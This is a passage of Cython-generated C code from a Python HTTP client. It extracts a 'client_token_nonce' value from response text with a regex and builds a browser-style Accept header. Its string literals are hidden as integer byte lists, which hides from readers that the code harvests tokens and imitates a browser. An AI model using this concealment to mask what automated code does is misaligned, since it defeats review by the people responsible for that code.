    __Pyx_GIVEREF(__pyx_int_42);
    PyList_SET_ITEM(__pyx_t_15, 53, __pyx_int_42);
    __Pyx_INCREF(__pyx_int_63);
    __Pyx_GIVEREF(__pyx_int_63);
    PyList_SET_ITEM(__pyx_t_15, 54, __pyx_int_63);
    __Pyx_INCREF(__pyx_int_41);
    __Pyx_GIVEREF(__pyx_int_41);
    PyList_SET_ITEM(__pyx_t_15, 55, __pyx_int_41);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_15, 56, __pyx_int_34);
    __pyx_t_2 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_15); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 484, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    __pyx_t_15 = __Pyx_decode_bytes(__pyx_t_2, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 484, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_response); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 485, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_2);
    __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 485, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    __pyx_t_2 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) {
      __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9);
      if (likely(__pyx_t_2)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
        __Pyx_INCREF(__pyx_t_2);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_9, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_9)) {
      PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_15, __pyx_t_13};
      __pyx_t_10 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 483, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
      __Pyx_GOTREF(__pyx_t_10);
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) {
      PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_15, __pyx_t_13};
      __pyx_t_10 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 483, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0;
      __Pyx_GOTREF(__pyx_t_10);
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
      __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    } else
    #endif
    {
      __pyx_t_5 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 483, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_5);
      if (__pyx_t_2) {
        __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_15);
      PyTuple_SET_ITEM(__pyx_t_5, 0+__pyx_t_12, __pyx_t_15);
      __Pyx_GIVEREF(__pyx_t_13);
      PyTuple_SET_ITEM(__pyx_t_5, 1+__pyx_t_12, __pyx_t_13);
      __pyx_t_15 = 0;
      __pyx_t_13 = 0;
      __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_5, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 483, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    }
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_group); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 485, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = NULL;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) {
      __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_9);
      if (likely(__pyx_t_10)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
        __Pyx_INCREF(__pyx_t_10);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_9, function);
      }
    }
    __pyx_t_1 = (__pyx_t_10) ? __Pyx_PyObject_Call2Args(__pyx_t_9, __pyx_t_10, __pyx_int_1) : __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_int_1);
    __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0;
    if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 485, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_add_nonce, __pyx_t_1) < 0) __PYX_ERR(0, 483, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_re); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 486, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_search); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 486, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;

    
    __pyx_t_10 = PyList_New(29); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 487, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 0, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_10, 1, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_10, 2, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 4, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 5, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_10, 6, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_10, 7, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 8, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_107);
    __Pyx_GIVEREF(__pyx_int_107);
    PyList_SET_ITEM(__pyx_t_10, 9, __pyx_int_107);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 10, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 11, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_95);
    __Pyx_GIVEREF(__pyx_int_95);
    PyList_SET_ITEM(__pyx_t_10, 12, __pyx_int_95);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 13, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_10, 14, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_10, 15, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_10, 16, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_10, 17, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 18, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_58);
    __Pyx_GIVEREF(__pyx_int_58);
    PyList_SET_ITEM(__pyx_t_10, 19, __pyx_int_58);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 20, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_40);
    __Pyx_GIVEREF(__pyx_int_40);
    PyList_SET_ITEM(__pyx_t_10, 21, __pyx_int_40);
    __Pyx_INCREF(__pyx_int_91);
    __Pyx_GIVEREF(__pyx_int_91);
    PyList_SET_ITEM(__pyx_t_10, 22, __pyx_int_91);
    __Pyx_INCREF(__pyx_int_94);
    __Pyx_GIVEREF(__pyx_int_94);
    PyList_SET_ITEM(__pyx_t_10, 23, __pyx_int_94);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 24, __pyx_int_34);
    __Pyx_INCREF(__pyx_int_93);
    __Pyx_GIVEREF(__pyx_int_93);
    PyList_SET_ITEM(__pyx_t_10, 25, __pyx_int_93);
    __Pyx_INCREF(__pyx_int_43);
    __Pyx_GIVEREF(__pyx_int_43);
    PyList_SET_ITEM(__pyx_t_10, 26, __pyx_int_43);
    __Pyx_INCREF(__pyx_int_41);
    __Pyx_GIVEREF(__pyx_int_41);
    PyList_SET_ITEM(__pyx_t_10, 27, __pyx_int_41);
    __Pyx_INCREF(__pyx_int_34);
    __Pyx_GIVEREF(__pyx_int_34);
    PyList_SET_ITEM(__pyx_t_10, 28, __pyx_int_34);
    __pyx_t_13 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_10); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 487, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
    __pyx_t_10 = __Pyx_decode_bytes(__pyx_t_13, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 487, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_10);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;

    
    __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_response); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 488, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_13);
    __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_13, __pyx_n_s_text); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 488, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_15);
    __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
    __pyx_t_13 = NULL;
    __pyx_t_12 = 0;
    if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_13)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_13);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
        __pyx_t_12 = 1;
      }
    }
    #if CYTHON_FAST_PYCALL
    if (PyFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_13, __pyx_t_10, __pyx_t_15};
      __pyx_t_9 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 486, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0;
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    } else
    #endif
    #if CYTHON_FAST_PYCCALL
    if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) {
      PyObject *__pyx_temp[3] = {__pyx_t_13, __pyx_t_10, __pyx_t_15};
      __pyx_t_9 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 486, __pyx_L1_error)
      __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0;
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0;
    } else
    #endif
    {
      __pyx_t_2 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 486, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_2);
      if (__pyx_t_13) {
        __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_13); __pyx_t_13 = NULL;
      }
      __Pyx_GIVEREF(__pyx_t_10);
      PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_12, __pyx_t_10);
      __Pyx_GIVEREF(__pyx_t_15);
      PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_12, __pyx_t_15);
      __pyx_t_10 = 0;
      __pyx_t_15 = 0;
      __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 486, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
    }
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_group); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 488, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = NULL;
    if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) {
      __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_5);
      if (likely(__pyx_t_9)) {
        PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5);
        __Pyx_INCREF(__pyx_t_9);
        __Pyx_INCREF(function);
        __Pyx_DECREF_SET(__pyx_t_5, function);
      }
    }
    __pyx_t_1 = (__pyx_t_9) ? __Pyx_PyObject_Call2Args(__pyx_t_5, __pyx_t_9, __pyx_int_1) : __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_int_1);
    __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
    if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 488, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    if (PyDict_SetItem(__pyx_d, __pyx_n_s_client, __pyx_t_1) < 0) __PYX_ERR(0, 486, __pyx_L1_error)
    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

    
    __pyx_t_1 = __Pyx_PyDict_NewPresized(5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_1);
    __pyx_t_5 = PyList_New(6); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_116);
    __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
    __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_5);
    __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
    __pyx_t_9 = PyList_New(135); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 490, __pyx_L1_error)
    __Pyx_GOTREF(__pyx_t_9);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 0, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 1, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 2, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 3, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 4, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 5, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 6, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 7, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 8, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 9, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 10, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 11, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 12, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 13, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 14, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 15, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 16, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 17, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 18, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 19, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 20, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 21, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 22, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_104);
    __Pyx_GIVEREF(__pyx_int_104);
    PyList_SET_ITEM(__pyx_t_9, 23, __pyx_int_104);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 24, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 25, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 26, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_43);
    __Pyx_GIVEREF(__pyx_int_43);
    PyList_SET_ITEM(__pyx_t_9, 27, __pyx_int_43);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 28, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 29, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 30, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 31, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 32, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 33, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_112);
    __Pyx_GIVEREF(__pyx_int_112);
    PyList_SET_ITEM(__pyx_t_9, 34, __pyx_int_112);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 35, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 36, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_99);
    __Pyx_GIVEREF(__pyx_int_99);
    PyList_SET_ITEM(__pyx_t_9, 37, __pyx_int_99);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 38, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_116);
    __Pyx_GIVEREF(__pyx_int_116);
    PyList_SET_ITEM(__pyx_t_9, 39, __pyx_int_116);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 40, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_111);
    __Pyx_GIVEREF(__pyx_int_111);
    PyList_SET_ITEM(__pyx_t_9, 41, __pyx_int_111);
    __Pyx_INCREF(__pyx_int_110);
    __Pyx_GIVEREF(__pyx_int_110);
    PyList_SET_ITEM(__pyx_t_9, 42, __pyx_int_110);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 43, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_120);
    __Pyx_GIVEREF(__pyx_int_120);
    PyList_SET_ITEM(__pyx_t_9, 44, __pyx_int_120);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 45, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_108);
    __Pyx_GIVEREF(__pyx_int_108);
    PyList_SET_ITEM(__pyx_t_9, 46, __pyx_int_108);
    __Pyx_INCREF(__pyx_int_59);
    __Pyx_GIVEREF(__pyx_int_59);
    PyList_SET_ITEM(__pyx_t_9, 47, __pyx_int_59);
    __Pyx_INCREF(__pyx_int_113);
    __Pyx_GIVEREF(__pyx_int_113);
    PyList_SET_ITEM(__pyx_t_9, 48, __pyx_int_113);
    __Pyx_INCREF(__pyx_int_61);
    __Pyx_GIVEREF(__pyx_int_61);
    PyList_SET_ITEM(__pyx_t_9, 49, __pyx_int_61);
    __Pyx_INCREF(__pyx_int_48);
    __Pyx_GIVEREF(__pyx_int_48);
    PyList_SET_ITEM(__pyx_t_9, 50, __pyx_int_48);
    __Pyx_INCREF(__pyx_int_46);
    __Pyx_GIVEREF(__pyx_int_46);
    PyList_SET_ITEM(__pyx_t_9, 51, __pyx_int_46);
    __Pyx_INCREF(__pyx_int_57);
    __Pyx_GIVEREF(__pyx_int_57);
    PyList_SET_ITEM(__pyx_t_9, 52, __pyx_int_57);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 53, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 54, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
    __Pyx_GIVEREF(__pyx_int_109);
    PyList_SET_ITEM(__pyx_t_9, 55, __pyx_int_109);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 56, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_103);
    __Pyx_GIVEREF(__pyx_int_103);
    PyList_SET_ITEM(__pyx_t_9, 57, __pyx_int_103);
    __Pyx_INCREF(__pyx_int_101);
    __Pyx_GIVEREF(__pyx_int_101);
    PyList_SET_ITEM(__pyx_t_9, 58, __pyx_int_101);
    __Pyx_INCREF(__pyx_int_47);
    __Pyx_GIVEREF(__pyx_int_47);
    PyList_SET_ITEM(__pyx_t_9, 59, __pyx_int_47);
    __Pyx_INCREF(__pyx_int_97);
    __Pyx_GIVEREF(__pyx_int_97);
    PyList_SET_ITEM(__pyx_t_9, 60, __pyx_int_97);
    __Pyx_INCREF(__pyx_int_118);
    __Pyx_GIVEREF(__pyx_int_118);
    PyList_SET_ITEM(__pyx_t_9, 61, __pyx_int_118);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 62, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_102);
    __Pyx_GIVEREF(__pyx_int_102);
    PyList_SET_ITEM(__pyx_t_9, 63, __pyx_int_102);
    __Pyx_INCREF(__pyx_int_44);
    __Pyx_GIVEREF(__pyx_int_44);
    PyList_SET_ITEM(__pyx_t_9, 64, __pyx_int_44);
    __Pyx_INCREF(__pyx_int_105);
    __Pyx_GIVEREF(__pyx_int_105);
    PyList_SET_ITEM(__pyx_t_9, 65, __pyx_int_105);
    __Pyx_INCREF(__pyx_int_109);
